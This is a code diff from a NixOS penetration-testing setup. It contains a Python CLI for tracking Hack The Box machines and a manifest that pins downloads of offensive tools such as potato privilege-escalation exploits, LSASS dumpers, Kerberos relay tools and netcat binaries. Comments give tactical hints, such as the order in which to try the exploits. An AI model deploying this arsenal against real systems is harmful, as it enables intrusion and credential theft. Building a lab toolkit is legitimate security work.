+ d = boxdir(box)
+ if rest:
+ xml = rest[0]
+ else:
+ found = []
+ for root, _, files in os.walk(os.path.join(d, "recon")):
+ found += [os.path.join(root, f) for f in files if f.endswith(".xml")]
+ if not found:
+ die("no nmap XML in recon/ -- scan with -oA recon/<name> (or -oX), then rerun")
+ xml = max(found, key=os.path.getmtime)
+ try:
+ tree = ET.parse(xml)
+ except (ET.ParseError, OSError) as e:
+ die(f"can't read {xml}: {e}", 1)
+ ports = {}
+ x = load(box)
+ for p in x["ports"]:
+ ports[(p["port"], p.get("proto", "tcp"))] = p
+ for port in tree.iter("port"):
+ st = port.find("state")
+ if st is None or st.get("state") != "open":
+ continue
+ svc = port.find("service")
+ entry = {"port": int(port.get("portid")), "proto": port.get("protocol", "tcp")}
+ if svc is not None:
+ for a in ("name", "product", "version"):
+ if svc.get(a):
+ entry["service" if a == "name" else a] = svc.get(a)
+ ports[(entry["port"], entry["proto"])] = entry
+ x["ports"] = sorted(ports.values(), key=lambda p: (p["proto"], p["port"]))
+ save(box, x)
+ info(f"{x['name']}: {len(x['ports'])} open ports (from {os.path.relpath(xml, d)})")
+ for p in x["ports"]:
+ print(f"{p['port']}/{p['proto']}\t{p.get('service', '')}\t{p.get('product', '')} {p.get('version', '')}".rstrip())
+
+
+# ── writeup ─────────────────────────────────────────────────────────────────
+
+def render_writeup(outdir, x):
+ """Render writeup.md once. Never overwrites: it is your prose after this."""
+ writeup = os.path.join(outdir, "writeup.md")
+ if os.path.exists(writeup):
+ return
+ today = dt.date.today().isoformat()
+ body = None
+ if os.path.exists(TEMPLATE):
+ with open(TEMPLATE) as fh:
+ body = fh.read()
+ # Drop the Templater header: <%* ... -%> (the JS that prompts in Obsidian).
+ body = re.sub(r"^<%\*.*?-%>\n", "", body, count=1, flags=re.S)
+ subs = {
+ "<% yaml(machine) %>": json.dumps(x["name"]),
+ "<% yaml(slug) %>": json.dumps(x["slug"]),
+ "<% yaml(targetOS) %>": json.dumps(x["os"]),
+ "<% yaml(difficulty) %>": json.dumps(x["difficulty"]),
+ '<% tp.date.now("YYYY-MM-DD") %>': today,
+ "<% targetOS %>": x["os"],
+ "<% difficulty %>": x["difficulty"],
+ "<% tp.file.cursor() %>": "",
+ }
+ for token, value in subs.items():
+ body = body.replace(token, value)
+ body = body.replace('ip: ""', f"ip: {json.dumps(x['ip'])}")
+ # A leftover <% ... %> means the vault template grew a token this
+ # renderer does not know. Fail loudly rather than publish Templater source.
+ leftover = re.findall(r"<%.*?%>", body, flags=re.S)
+ if leftover:
+ die(f"template has tokens this renderer does not handle: {leftover[:3]} -- update _htbbox.py", 1)
+ if body is None:
+ body = SKELETON.format(
+ name=json.dumps(x["name"]), slug=json.dumps(x["slug"]), os=json.dumps(x["os"]),
+ difficulty=json.dumps(x["difficulty"]), today=today, ip=json.dumps(x["ip"]),
+ ip_raw=x["ip"], os_raw=x["os"], difficulty_raw=x["difficulty"],
+ hosts=" ".join(x["hostnames"]) or "-",
+ )
+ info("htbbox: vault template not found, used the built-in skeleton")
+ with open(writeup, "w") as fh:
+ fh.write(body)
+
+
+SKELETON = """\
+---
+title: {name}
+slug: {slug}
+type: writeup
+site: daemon-sec
+category: ctf
+platform: HTB-Labs
+machine: {name}
+target_os: {os}
+difficulty: {difficulty}
+author: DAEMON
+excerpt: ""
+status: active
+publish_status: draft
+creation_date: {today}
+published_at: ""
+updated_at: ""
+ip: {ip}
+tools_used: []
+techniques: []
+bannerImage: ""
+tags:
+ - HTB
+ - HTB/Labs
+cssclasses:
+ - editorial
+ - note-banner
+---
+
+```dataviewjs
+await dv.view("00Meta/Views/NoteBanner");
+```
+
+## Explain like I'm new
+
+## Attack path
+
+## Target details
+
+| Field | Value |
+| --- | --- |
+| IP Address | {ip_raw} |
+| Hostnames | {hosts} |
+| Operating system | {os_raw} |
+| Difficulty | {difficulty_raw} |
+
+## Reconnaissance
+
+## Enumeration
+
+## Initial access
+
+## Privilege escalation
+
+## Credentials and flags
+
+## Operator notes
+
+## Lessons learned
+
+## References
+"""
+
+
+# ── main ────────────────────────────────────────────────────────────────────
+
+COMMANDS = {
+ "new": cmd_new, "use": cmd_use, "switch": cmd_use,
+ "ls": cmd_ls, "list": cmd_ls,
+ "info": cmd_info, "show": cmd_info,
+ "path": cmd_path, "json": cmd_json, "set": cmd_set,
+ "host": cmd_host, "hosts": cmd_host,
+ "cred": cmd_cred, "creds": cmd_cred,
+ "flag": cmd_flag, "note": cmd_note, "notes": cmd_note,
+ "ports": cmd_ports,
+}
+
+
+def main(argv):
+ if not argv:
+ argv = ["info"] if current() and os.path.isdir(boxdir(current())) else ["ls"]
+ cmd, args = argv[0], argv[1:]
+ if cmd in ("-h", "--help", "help"):
+ print(USAGE, end="")
+ return
+ fn = COMMANDS.get(cmd)
+ if not fn:
+ print(USAGE, end="", file=sys.stderr)
+ die(f"unknown command: {cmd}")
+ fn(args)
+
+
+if __name__ == "__main__":
+ try:
+ main(sys.argv[1:])
+ sys.stdout.flush()
+ except BrokenPipeError:
+ # `htbbox ls | grep -q x` closes the pipe early; that is success, not
+ # an error. Point stdout at devnull so the interpreter's own flush at
+ # exit does not raise a second time.
+ os.dup2(os.open(os.devnull, os.O_WRONLY), sys.stdout.fileno())
+ sys.exit(0)
+ except KeyboardInterrupt:
+ sys.exit(130)
diff --git a/modules/features/pentest/_overlay.nix b/modules/features/pentest/_overlay.nix
@@ -6,6 +6,21 @@
# thing to delete when nixpkgs catches up.
final: prev:
{
+ # 2026-10-10 — ligolo-ng 0.9.1 -> 0.9.2 (upstream's current release). Done
+ # here, for the whole system, rather than only in payloads.nix: the proxy
+ # you run (pivot.nix) and the agents you drop (payloads.nix) must be the
+ # same version, and an overlay is the one place both read. Same go.sum, so
+ # the vendorHash is unchanged. Delete when nixpkgs reaches 0.9.2.
+ ligolo-ng = prev.ligolo-ng.overrideAttrs (_: {
+ version = "0.9.2";
+ src = prev.fetchFromGitHub {
+ owner = "nicocha30";
+ repo = "ligolo-ng";
+ tag = "v0.9.2";
+ hash = "sha256-y7q4XhZpmzxQM/fKd3ReRxjMGtda9GUJPsT5az6G784=";
+ };
+ });
+
# 2026-10-08 — anyio 4.14.2 fails 5 of 2596 tests on python 3.12 in nixpkgs:
# tests/streams/test_tls.py::test_tls_connectable raises
# ValueError('server_hostname can only be specified in client mode') on every
diff --git a/modules/features/pentest/_pkgs/assets.nix b/modules/features/pentest/_pkgs/assets.nix
@@ -0,0 +1,353 @@
+# modules/features/pentest/_pkgs/assets.nix — prebuilt release files, as a table.
+#
+# Every entry is one download, pinned by hash, and where it lands in the
+# arsenal (~/pentesting, see paths.nix). payloads.nix walks this list; adding
+# a tool is adding an entry, nothing else.
+#
+# { dest = "privesc/windows/potatoes/SigmaPotato.exe"; url; hash; }
+# a single file, installed at `dest`
+# { dest = "ad/SharpHound"; unpack = "zip"; url; hash; }
+# an archive, unpacked whole into the directory `dest`
+# { dest = "privesc/windows/potatoes"; unpack = "zip"; only = [ "RemotePotato0.exe" ]; url; hash; }
+# only the named members, flattened into `dest`
+#
+# Keep `url = …;` and `hash = …;` on consecutive lines: pentest-update
+# (update.nix) finds release pins by that shape and re-points them.
+#
+# What is NOT here: anything Go that nixpkgs carries (ligolo-ng, chisel, fscan,
+# pspy) is cross-compiled from source in payloads.nix instead, and .NET tools
+# that only exist as source (Certify 2.x, SharpEfsPotato, RasmanPotato) come
+# from SharpCollection or are skipped. Provenance beats convenience.
+[
+ ##### privesc / windows / potatoes ##########################################
+ # SeImpersonatePrivilege -> SYSTEM. Which one works depends on the Windows
+ # build and what is patched, so they all ship. Rough order to try on a
+ # modern host: GodPotato, SigmaPotato, PrintSpoofer, CoercedPotato,
+ # PrintNotifyPotato, then the rest.
+ {
+ dest = "privesc/windows/potatoes/GodPotato-NET2.exe";
+ url = "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET2.exe";
+ hash = "sha256-MCeiEicpVymL9NMlBTcPpj+xYtampuwJGvnXYmMXqFg=";
+ }
+ {
+ dest = "privesc/windows/potatoes/GodPotato-NET35.exe";
+ url = "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET35.exe";
+ hash = "sha256-MCeiEicpVymL9NMlBTcPpj+xYtampuwJGvnXYmMXqFg=";
+ }
+ {
+ dest = "privesc/windows/potatoes/GodPotato-NET4.exe";
+ url = "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe";
+ hash = "sha256-mo6dWHtXDUB08cgxexY6qNDFZu/YjylNnYW8d3Y1Kig=";
+ }
+ {
+ dest = "privesc/windows/potatoes/SigmaPotato.exe";
+ url = "https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe";
+ hash = "sha256-7Gimv38QSoFb0h4n5zqN+4r8soLUmXvr6ezNbIkllQY=";
+ }
+ {
+ dest = "privesc/windows/potatoes/SigmaPotatoCore.exe";
+ url = "https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotatoCore.exe";
+ hash = "sha256-p6G8g/lGlsLvY34Swor9X1y7j30M8iy0GSHXe2w5pyE=";
+ }
+ {
+ dest = "privesc/windows/potatoes/DeadPotato-NET4.exe";
+ url = "https://github.com/lypd0/DeadPotato/releases/download/v1.2/DeadPotato-NET4.exe";
+ hash = "sha256-a8ihwq//pAnSlTaSZs+SKwgbjbzz2ifZiiM/u6uI2YM=";
+ }
+ {
+ dest = "privesc/windows/potatoes/PrintSpoofer64.exe";
+ url = "https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe";
+ hash = "sha256-hST7wNc+cR5p1gxk8fG3vvNcmGcFiAZD3U1eF3eeWG0=";
+ }
+ {
+ dest = "privesc/windows/potatoes/PrintSpoofer32.exe";
+ url = "https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer32.exe";
+ hash = "sha256-R8nv+BQkkKLDQXAaq3quvDVe7RVA7tU0qDF90eZWFLI=";
+ }
+ # The fork that actually publishes binaries; hackvens/CoercedPotato (the
+ # original) is source only. "Releases" is a rolling tag, so this pin is the
+ # 2026-07-30 build.
+ {
+ dest = "privesc/windows/potatoes/CoercedPotato_x64.exe";
+ url = "https://github.com/Prepouce/CoercedPotato/releases/download/Releases/CoercedPotato_x64.exe";
+ hash = "sha256-RTKJjW4xrLF6T/ihd5K7BmCzcW+ZNnsswVMHk7vh8S8=";
+ }
+ {
+ dest = "privesc/windows/potatoes/CoercedPotato_x86.exe";
+ url = "https://github.com/Prepouce/CoercedPotato/releases/download/Releases/CoercedPotato_x86.exe";
+ hash = "sha256-RvsS0pg+hmElFZ+x9NFz6Po/yrndTtD8hHuPi8rEil8=";
+ }
+ {
+ dest = "privesc/windows/potatoes/PrintNotifyPotato-NET35.exe";
+ url = "https://github.com/BeichenDream/PrintNotifyPotato/releases/download/v1.00/PrintNotifyPotato-NET35.exe";
+ hash = "sha256-ThRpxhpgF8ONhAxHUav90h/Zig/y1f26JtInzUSLX2Q=";
+ }
+ {
+ dest = "privesc/windows/potatoes/PrintNotifyPotato-NET46.exe";
+ url = "https://github.com/BeichenDream/PrintNotifyPotato/releases/download/v1.00/PrintNotifyPotato-NET46.exe";
+ hash = "sha256-lbEVA43rz/Qsb+bPGonkBys+A/Ng72JGDP/Pf19L3ac=";
+ }
+ {
+ dest = "privesc/windows/potatoes/PetitPotato.exe";
+ url = "https://github.com/wh0amitz/PetitPotato/releases/download/v1.0.0/PetitPotato.exe";
+ hash = "sha256-naQ4zylWfdL8akukJ4Vqdr7dN1DQyMLg5AOg9wnd1Gs=";
+ }
+ {
+ dest = "privesc/windows/potatoes/JuicyPotato.exe";
+ url = "https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe";
+ hash = "sha256-D1bHA+m33euQZGknusBaXG2VMIyOE7iOXU9LVyQj4DY=";
+ }
+ {
+ dest = "privesc/windows/potatoes";
+ unpack = "zip";
+ only = [ "JuicyPotatoNG.exe" ];
+ url = "https://github.com/antonioCoco/JuicyPotatoNG/releases/download/v1.1/JuicyPotatoNG.zip";
+ hash = "sha256-jkVbpqLJBifMbLOLF7l022JRwex2PLg+66KIlwMapAk=";
+ }
+ {
+ dest = "privesc/windows/potatoes";
+ unpack = "zip";
+ only = [ "RoguePotato.exe" "RogueOxidResolver.exe" ];
+ url = "https://github.com/antonioCoco/RoguePotato/releases/download/1.0/RoguePotato.zip";
+ hash = "sha256-YVt58TkP8RaOi81y9zPHTUsQ/nSFX5AikYiz7hTiV6U=";
+ }
+ {
+ dest = "privesc/windows/potatoes";
+ unpack = "zip";
+ only = [ "LocalPotato.exe" ];
+ url = "https://github.com/decoder-it/LocalPotato/releases/download/v1.1/LocalPotato.zip";
+ hash = "sha256-PTLYdrX6oL75K6bpNb/S5C3kuD93Qp1Q12W6FhNf/kg=";
+ }
+ {
+ dest = "privesc/windows/potatoes";
+ unpack = "zip";
+ only = [ "RemotePotato0.exe" ];
+ url = "https://github.com/antonioCoco/RemotePotato0/releases/download/1.2/RemotePotato0.zip";
+ hash = "sha256-8YuNplaB0ThEB+hoLot9qJvyuoGHgtsL4JxkK8CZ/8Y=";
+ }
+
+ ##### privesc / windows #####################################################
+ # FullPowers: a LOCAL/NETWORK SERVICE shell that lost SeImpersonate gets its
+ # default privileges back — then a potato finishes the job.
+ {
+ dest = "privesc/windows/FullPowers.exe";
+ url = "https://github.com/itm4n/FullPowers/releases/download/v0.1/FullPowers.exe";
+ hash = "sha256-5bUOkl5dv02pIjVSzGBLdF+LpI9vR/i9++ob7EdHzlA=";
+ }
+ {
+ dest = "privesc/windows/PrivescCheck.ps1";
+ url = "https://github.com/itm4n/PrivescCheck/releases/download/2026.10.07-1/PrivescCheck.ps1";
+ hash = "sha256-P3Nz+QMfN3QLI7ZShJw23mZqEuTbyr2vizNEZcWWc2A=";
+ }
+
+ ##### creds #################################################################
+ # LSASS without mimikatz.exe: nanodump writes a minidump (parse it at home
+ # with pypykatz), PPLBlade gets past RunAsPPL. fortra publishes nanodump's
+ # builds in-tree, not as releases, so these are pinned to a commit.
+ {
+ dest = "creds/nanodump.x64.exe";
+ url = "https://github.com/fortra/nanodump/raw/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump.x64.exe";
+ hash = "sha256-rZ5N3OaKNPC6MBDmYoa8OqBWBDx9ynoiwyIqJ5YUAlo=";
+ }
+ {
+ dest = "creds/nanodump.x86.exe";
+ url = "https://github.com/fortra/nanodump/raw/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump.x86.exe";
+ hash = "sha256-6vbVCYwXv0qO6uDAI2+RqzK9yAUAogC4z0wRvjkLNHI=";
+ }
+ {
+ dest = "creds/nanodump_ppl_dump.x64.exe";
+ url = "https://github.com/fortra/nanodump/raw/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump_ppl_dump.x64.exe";
+ hash = "sha256-0kuaua1n+DeJkgx+G9GRK212zEZ/OXBscn4PLZlYJQQ=";
+ }
+ {
+ dest = "creds/nanodump_ppl_medic.x64.exe";
+ url = "https://github.com/fortra/nanodump/raw/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/dist/nanodump_ppl_medic.x64.exe";
+ hash = "sha256-effVS4XKOSm4yuNKATx/mm05lkeF/2T91pLfdqfto5s=";
+ }
+ {
+ dest = "creds/PPLBlade.exe";
+ url = "https://github.com/tastypepperoni/PPLBlade/releases/download/v1.0/PPLBlade.exe";
+ hash = "sha256-mPBnn9SSpnr5KI8u+ayPmdgICSNkxxl+ZAmYdZAiKoU=";
+ }
+
+ ##### ad ####################################################################
+ # SharpHound for BloodHound CE. SharpCollection's SharpHound is the LEGACY
+ # collector, whose JSON CE cannot ingest — this one replaces it in ad/.
+ {
+ dest = "ad/SharpHound";
+ unpack = "zip";
+ url = "https://github.com/SpecterOps/SharpHound/releases/download/v2.17.0/SharpHound_v2.17.0_windows_x86.zip";
+ hash = "sha256-Ce8SOtoivgCmr02/oo+ao1eTAgX4iZE3Q3PWNGCe+wM=";
+ }
+ {
+ dest = "ad";
+ unpack = "zip";
+ only = [ "rusthound-ce.exe" ];
+ url = "https://github.com/g0h4n/RustHound-CE/releases/download/v2.5.23/rusthound-ce-Windows-gnu-x86_64.zip";
+ hash = "sha256-UK7kQmP4d30n/QhcRlF+Z2LZxu6NqI07HZCuzCFMms0=";
+ }
+ # Certipy and bloodyAD as single Windows binaries, for when you are ON a
+ # domain-joined host and the python versions are on your side of the tunnel.
+ {
+ dest = "ad/Certipy.exe";
+ url = "https://github.com/ly4k/Certipy/releases/download/5.1.0/Certipy.exe";
+ hash = "sha256-yFLVbvDbX5Huel8gaxLDtI28ympbhbrrAna5gWFDSJs=";
+ }
+ {
+ dest = "ad/bloodyAD.exe";
+ url = "https://github.com/CravateRouge/bloodyAD/releases/download/v2.5.5/bloodyAD.exe";
+ hash = "sha256-V6Tn4tcaTwX5O+8ortMLYbIGAg1nDjIzyCMfGgIowr4=";
+ }
+ {
+ dest = "ad/SharpSCCM.exe";
+ url = "https://github.com/Mayyhem/SharpSCCM/releases/download/v2.0.14/SharpSCCM.exe";
+ hash = "sha256-l6BIvLVcAQjGj4f8txOW/O6TYAh1epVz5K7NugOR8m4=";
+ }
+ # KrbRelayEx is a .NET (core) app: the exe needs its dll and runtimeconfig
+ # beside it, so all three go in their own directory.
+ {
+ dest = "ad/KrbRelayEx/KrbRelayEx.exe";
+ url = "https://github.com/decoder-it/KrbRelayEx/releases/download/v1.2/KrbRelayEx.exe";
+ hash = "sha256-WE7Q21zEDIbx7XTWkc+av9JXgPze/gmdNLqej+/XNLw=";
+ }
+ {
+ dest = "ad/KrbRelayEx/KrbRelayEx.dll";
+ url = "https://github.com/decoder-it/KrbRelayEx/releases/download/v1.2/KrbRelayEx.dll";
+ hash = "sha256-Qx4O65q3mQGoN3jF81oUciBh+DUu18qa/3AXFxlVpn8=";
+ }
+ {
+ dest = "ad/KrbRelayEx/KrbRelayEx.runtimeconfig.json";
+ url = "https://github.com/decoder-it/KrbRelayEx/releases/download/v1.2/KrbRelayEx.runtimeconfig.json";
+ hash = "sha256-KDKc8I9lBec4BrF1WLGHwC8MHFFv5H6/t6AT0IKqowY=";
+ }
+ {
+ dest = "ad";
+ unpack = "zip";
+ only = [ "Inveigh.exe" "Inveigh.exe.config" ];
+ url = "https://github.com/Kevin-Robertson/Inveigh/releases/download/v2.0.12/Inveigh-net4.6.2-v2.0.12.zip";
+ hash = "sha256-Txz0+3mOZF9KJ7jqycN+AQGVLcSYE7ueTzB5/wgqrS4=";
+ }
+ # ropnop's kerbrute (Go). Not the nixpkgs `kerbrute`, which is Tarlogic's
+ # python tool of the same name. Prebuilt: the module predates go.sum
+ # discipline and does not build cleanly from source any more.
+ {
+ dest = "ad/kerbrute/kerbrute-linux-amd64";
+ url = "https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64";
+ hash = "sha256-cQqdJlPIvTaJ5FF3jaudrsDeTEx1+QB4jM8j7yVLEio=";
+ }
+ {
+ dest = "ad/kerbrute/kerbrute-linux-386";
+ url = "https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_386";
+ hash = "sha256-P3vR6d4Ufi6aiYq2WsyTLP/WvqhAA9imUt+lLkwajK0=";
+ }
+ {
+ dest = "ad/kerbrute/kerbrute-darwin-amd64";
+ url = "https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_darwin_amd64";
+ hash = "sha256-Gf7ASh528ct8IQlUqNEeYTydN2KaA2x41WK/Q4rpYoA=";
+ }
+ {
+ dest = "ad/kerbrute/kerbrute-windows-amd64.exe";
+ url = "https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_amd64.exe";
+ hash = "sha256-0YqoS3vw796ca12yo4qx7JSExZxShMC9CA9Rl7+TiLA=";
+ }
+ {
+ dest = "ad/kerbrute/kerbrute-windows-386.exe";
+ url = "https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe";
+ hash = "sha256-WqA168M1nuhRfZlWnIiB/Lf0irfpovEB9+fsI+Y2x5s=";
+ }
+
+ ##### shells ################################################################
+ {
+ dest = "shells";
+ unpack = "zip";
+ only = [ "RunasCs.exe" "RunasCs_net2.exe" ];
+ url = "https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip";
+ hash = "sha256-iPgmCWvh7RvjLdRdwjgRid98XzSce4CO24cuaL5Kk1A=";
+ }
+ # No releases or tags upstream; pinned to a commit.
+ {
+ dest = "shells/nc64.exe";
+ url = "https://raw.githubusercontent.com/int0x33/nc.exe/fa87aa42c460d34966efb998a1788efca6db11a7/nc64.exe";
+ hash = "sha256-Plk3n1hevwvstrTgbQ+7+AbeKKS7JW6De0VV8bQkVXE=";
+ }
+ {
+ dest = "shells/nc.exe";
+ url = "https://raw.githubusercontent.com/int0x33/nc.exe/fa87aa42c460d34966efb998a1788efca6db11a7/nc.exe";
+ hash = "sha256-6PvsJdtPnZW16PQcylGksyvoZ0pN6npFtveusi28ONs=";
+ }
+
+ ##### pivoting ##############################################################
+ {
+ dest = "pivoting/plink-x64.exe";
+ url = "https://the.earth.li/~sgtatham/putty/0.85/w64/plink.exe";
+ hash = "sha256-lp82h51XFqoamBH0OmplEOjwg3Lb65aVuBC5x3bznHU=";
+ }
+ {
+ dest = "pivoting/plink-x86.exe";
+ url = "https://the.earth.li/~sgtatham/putty/0.85/w32/plink.exe";
+ hash = "sha256-x76EzEJWWtTefnfpnwph86jewXx31f8a+tedAFr1TJM=";
+ }
+
+ ##### recon #################################################################
+ # 7.92 is the last nmap that nmap.org ships as a portable zip; everything
+ # newer is an NSIS installer only. Runs unprivileged for -sT/-sV without
+ # npcap; the bundled npcap installer is there if you are admin.
+ {
+ dest = "recon/nmap/windows";
+ unpack = "zip";
+ url = "https://nmap.org/dist/nmap-7.92-win32.zip";
+ hash = "sha256-tUxU1LR4ytGVZ6UEx8a3Iw39gKzYgdwukBWmKKPvpx4=";
+ }
+
+ # Static nmap for the target itself — ernw's musl static-pie builds, one per
+ # arch. The tarball has no top-level dir: nmap/ncat/nping sit beside a data/
+ # dir, and nmap needs `NMAPDIR=<dir>/data`. Unpacked into its own arch dir so
+ # the four data/ copies don't collide.
+ {
+ dest = "recon/nmap/linux-amd64";
+ unpack = "tar";
+ url = "https://github.com/ernw/static-toolbox/releases/download/nmap-v7.94SVN/nmap-7.94SVN-x86_64-portable.tar.gz";
+ hash = "sha256-uVVdnAJvlFjJVWT6Gh/0KMu/ho/1poubSAszUy673nE=";
+ }
+ {
+ dest = "recon/nmap/linux-x86";
+ unpack = "tar";
+ url = "https://github.com/ernw/static-toolbox/releases/download/nmap-v7.94SVN/nmap-7.94SVN-x86-portable.tar.gz";
+ hash = "sha256-nBKaHgaAP4lw7WtfRU5SiI165TXT1G3GjO5TA8ZpRqI=";
+ }
+ {
+ dest = "recon/nmap/linux-arm64";
+ unpack = "tar";
+ url = "https://github.com/ernw/static-toolbox/releases/download/nmap-v7.94SVN/nmap-7.94SVN-aarch64-portable.tar.gz";
+ hash = "sha256-8haqFI4Rg3Az4+73D+BiktHmgV5ZkEghisxMc4llbuI=";
+ }
+ {
+ dest = "recon/nmap/linux-armhf";
+ unpack = "tar";
+ url = "https://github.com/ernw/static-toolbox/releases/download/nmap-v7.94SVN/nmap-7.94SVN-armhf-portable.tar.gz";
+ hash = "sha256-uJsSvCKKAOwlASnPHmok6vl5aSDt5suFoTAbJMZJCyQ=";
+ }
+
+ ##### pivoting / socat (static, per arch) ###################################
+ # ernw's static socat — the Windows builds need cygwin1.dll, these do not.
+ {
+ dest = "pivoting/socat/socat-linux-amd64";
+ url = "https://github.com/ernw/static-toolbox/releases/download/socat-v1.7.4.4/socat-1.7.4.4-x86_64";
+ hash = "sha256-Gf0oS41I/v8qFcw3vZugcCI9pXXk6EYjrqS4j27+tZc=";
+ }
+ {
+ dest = "pivoting/socat/socat-linux-x86";
+ url = "https://github.com/ernw/static-toolbox/releases/download/socat-v1.7.4.4/socat-1.7.4.4-x86";
+ hash = "sha256-mBFvSL9wT8saQOtrhPZOIostY+bt82p1IEUu0L2Ua18=";
+ }
+ {
+ dest = "pivoting/socat/socat-linux-arm64";
+ url = "https://github.com/ernw/static-toolbox/releases/download/socat-v1.7.4.4/socat-1.7.4.4-aarch64";
+ hash = "sha256-dY8CPZonrjt/X2M+9BvtZbgSrw3Ya0r+3jeSXkBd3D0=";
+ }
+ {
+ dest = "pivoting/socat/socat-linux-armhf";
+ url = "https://github.com/ernw/static-toolbox/releases/download/socat-v1.7.4.4/socat-1.7.4.4-armhf";
+ hash = "sha256-kgH9gK3143Hy7QZdInkw6M19pnMc/cl0FycxYUDdFGQ=";
+ }
+]
diff --git a/modules/features/pentest/_pkgs/default.nix b/modules/features/pentest/_pkgs/default.nix
@@ -83,51 +83,6 @@ rec {
install -m0644 ${asset "winPEASany.exe" "sha256-7BbBDWubysMakm2qN8fym8OIJuADnZPUv+24UEceu/w="} $out/windows/winPEASany.exe
'';
- # The potato family: local privilege escalation from a service account with
- # SeImpersonatePrivilege. Which one works depends on the Windows build, hence
- # all of them. SweetPotato comes from sharpcollection above.
- potatoes =
- let
- exe = name: url: hash: { inherit name url hash; kind = "exe"; };
- zip = name: url: hash: { inherit name url hash; kind = "zip"; };
- items = [
- (exe "JuicyPotato.exe"
- "https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe"
- "sha256-D1bHA+m33euQZGknusBaXG2VMIyOE7iOXU9LVyQj4DY=")
- (exe "PrintSpoofer32.exe"
- "https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer32.exe"
- "sha256-R8nv+BQkkKLDQXAaq3quvDVe7RVA7tU0qDF90eZWFLI=")
- (exe "PrintSpoofer64.exe"
- "https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe"
- "sha256-hST7wNc+cR5p1gxk8fG3vvNcmGcFiAZD3U1eF3eeWG0=")
- (exe "GodPotato-NET2.exe"
- "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET2.exe"
- "sha256-MCeiEicpVymL9NMlBTcPpj+xYtampuwJGvnXYmMXqFg=")
- (exe "GodPotato-NET4.exe"
- "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe"
- "sha256-mo6dWHtXDUB08cgxexY6qNDFZu/YjylNnYW8d3Y1Kig=")
- (zip "JuicyPotatoNG.zip"
- "https://github.com/antonioCoco/JuicyPotatoNG/releases/download/v1.1/JuicyPotatoNG.zip"
- "sha256-jkVbpqLJBifMbLOLF7l022JRwex2PLg+66KIlwMapAk=")
- (zip "RoguePotato.zip"
- "https://github.com/antonioCoco/RoguePotato/releases/download/1.0/RoguePotato.zip"
- "sha256-YVt58TkP8RaOi81y9zPHTUsQ/nSFX5AikYiz7hTiV6U=")
- (zip "LocalPotato.zip"
- "https://github.com/decoder-it/LocalPotato/releases/download/v1.1/LocalPotato.zip"
- "sha256-PTLYdrX6oL75K6bpNb/S5C3kuD93Qp1Q12W6FhNf/kg=")
- ];
- fetched = map (i: i // { drv = pkgs.fetchurl { inherit (i) url hash; }; }) items;
- copyExe = i: ''install -m0644 ${i.drv} $out/${i.name}'';
- copyZip = i: ''
- ${pkgs.unzip}/bin/unzip -j -o ${i.drv} '*.exe' -d $out 2>/dev/null || \
- ${pkgs.unzip}/bin/unzip -o ${i.drv} -d $out/${lib.removeSuffix ".zip" i.name}
- '';
- in
- pkgs.runCommand "potatoes" { } ''
- mkdir -p $out
- ${lib.concatMapStringsSep "\n" (i: if i.kind == "exe" then copyExe i else copyZip i) fetched}
- ls -1 $out > $out/.inventory || true
- '';
# BloodHound Legacy (4.3.1), the old Electron GUI.
#
diff --git a/modules/features/pentest/_sets.nix b/modules/features/pentest/_sets.nix
@@ -74,7 +74,14 @@
config = lib.mkIf on (
lib.mkMerge [
- { environment.systemPackages = packages pkgs; }
+ # Only what exists for this machine's platform: on aarch64 a few
+ # tools are x86-only (and fail evaluation outright). On x86_64 every
+ # package passes, so this filters nothing there.
+ {
+ environment.systemPackages = builtins.filter
+ (lib.meta.availableOn pkgs.stdenv.hostPlatform)
+ (packages pkgs);
+ }
(extraConfig { inherit config pkgs lib user; })
]
);
@@ -143,7 +150,7 @@
devShells."pentest-${name}" = pkgs.mkShell {
name = "pentest-${name}";
- packages = packages pkgs;
+ packages = builtins.filter (lib.meta.availableOn pkgs.stdenv.hostPlatform) (packages pkgs);
};
};
}
diff --git a/modules/features/pentest/boxes.nix b/modules/features/pentest/boxes.nix
@@ -1,29 +1,27 @@
-# modules/features/pentest/boxes.nix — one directory per box, scaffolded.
+# modules/features/pentest/boxes.nix — one directory and one box.json per box.
#
-# htbbox new -n Sauna -i 10.10.10.175 -d easy -o windows
-# htbbox new prompt for each field (gum)
-# htbbox ls boxes worked, newest first
-# htbbox info [box] the manifest, and what is in the tree
-# htbbox path [box] just the directory, for `cd "$(htbbox path)"`
+# htbbox new Sauna 10.10.10.175 windows easy positional, any order
+# htbbox new Sauna 10.10.10.175 win easy sauna.htb dc01.sauna.htb
+# htbbox new prompt for everything (gum)
+# htbbox use <box> | ls | info | path | json switch and look around
+# htbbox set | host | cred | flag | note | ports record what you find
+#
+# The CLI itself is _htbbox.py (stdlib python, its docstring is the manual).
+# It used to be ~200 lines of bash in this file plus a separate renderer; one
+# python file is easier to read, test and extend than either.
#
# The layout is the CPTS vocabulary, not the HTB website's:
#
-# box.json the manifest every other tool reads (ip, os, difficulty, slug)
-# writeup.md the post, rendered from the vault's Templater template
